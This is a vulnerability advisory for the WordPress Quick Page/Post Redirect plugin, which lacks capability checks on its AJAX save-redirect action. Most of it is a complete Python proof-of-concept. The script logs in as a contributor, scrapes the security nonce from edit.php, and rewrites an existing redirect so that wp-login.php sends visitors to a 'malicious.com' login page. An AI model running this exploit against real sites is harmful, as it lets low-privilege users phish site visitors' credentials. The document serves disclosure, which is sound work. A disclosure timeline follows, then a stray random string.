Quick Page/Post Redirect Plugin [Unvalidated Redirects and Forwards]

Quick Page/Post Redirect Plugin suffers from a Unvalidated Redirects and Forwards vulnerability through Privilege Escalation.

NOTE: This vulnerability was disclosed at blog.nintechnet.com while it was in my backlog. They tried to reach the dev with no luck either.

Description

Plugin registers the AJAX action qppr_save_quick_redirect and although it has security token check, it lucks user capabilities checks. This allows an attacker that has a valid token to update an existing redirect.

To acquire a token the attacker must have a valid account with edit_post capability (typically at least a contributor), so this narrows down the attack vector to specific user groups. A user with edit_post capability can access the wp-admin/edit.php page. In this page plugin inject a JS object which contains the mentioned token and it can be used to perform the attack.

If the attack is successful the attacker can update an existing redirect and specify a new source request and redirect destination.

PoC

#!/usr/bin/env python3

################################################################################
# Quick Page/Post Redirect Plugin - Unvalidated Redirects and Forwards
#
# Author: Panagiotis Vagenas <pan.vagenas@gmail.com>
#
# Dependencies: BeautifulSoup (http://www.crummy.com/software/BeautifulSoup/)
################################################################################

import requests
import re

baseUrl = 'http://wp1.dev'
loginUrl = baseUrl + '/wp-login.php'
editUrl = baseUrl + '/wp-admin/edit.php'
adminAjaxUrl = baseUrl + '/wp-admin/admin-ajax.php'

loginPostData = {
    'log': 'contributor',  # A user with edit_posts capability is required for this to work
    'pwd': 'password',
    'rememberme': 'forever',
    'wp-submit': 'Log+In'
}

s = requests.Session()

r = s.post(loginUrl, loginPostData)

if r.status_code == 200 and r.url != loginUrl:
    print('[!] Authentication successful')
else:
    print('[-] Authentication failed')
    exit(1)

# We look for the nonce in wp-admin/edit.php page
r = s.get(editUrl)

search = re.search('"security":"(\w+)"', r.text)

if not search:
    print('[-] Nonce not found')
    exit(1)

nonce = search.group(1)

# So we have a valid token and we are ready for the attack
data = {
    'security': nonce,
    'action': 'qppr_save_quick_redirect',
    'row': '0',
    'original': '/some-existing-redirect',
    'request': '/wp-login.php',  # We update the existing redirect and make it work for the login page
    'destination': 'http://malicious.com/wp-login.php',  # And we redirect it to our malicious site
    'newwin': '0',
    'nofollow': '0'
}

r = s.post(adminAjaxUrl, data=data)

if r.text == 'saved':
    print('[+] Exploitation success')
    exit(0)
else:
    print('[-] Exploitation failed')
    exit(1)

Solution

No fix available


INFO
TIMELINE
  • 2019-12-20:
    Discovered
  • 2019-12-20:
    Contact attempt using email info at anadnet.com
  • 2020-02-17:
    Plugin removed from wordpress.org
  • 2020-07-09:
    Advisory was published at blog.nintechnet.com
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX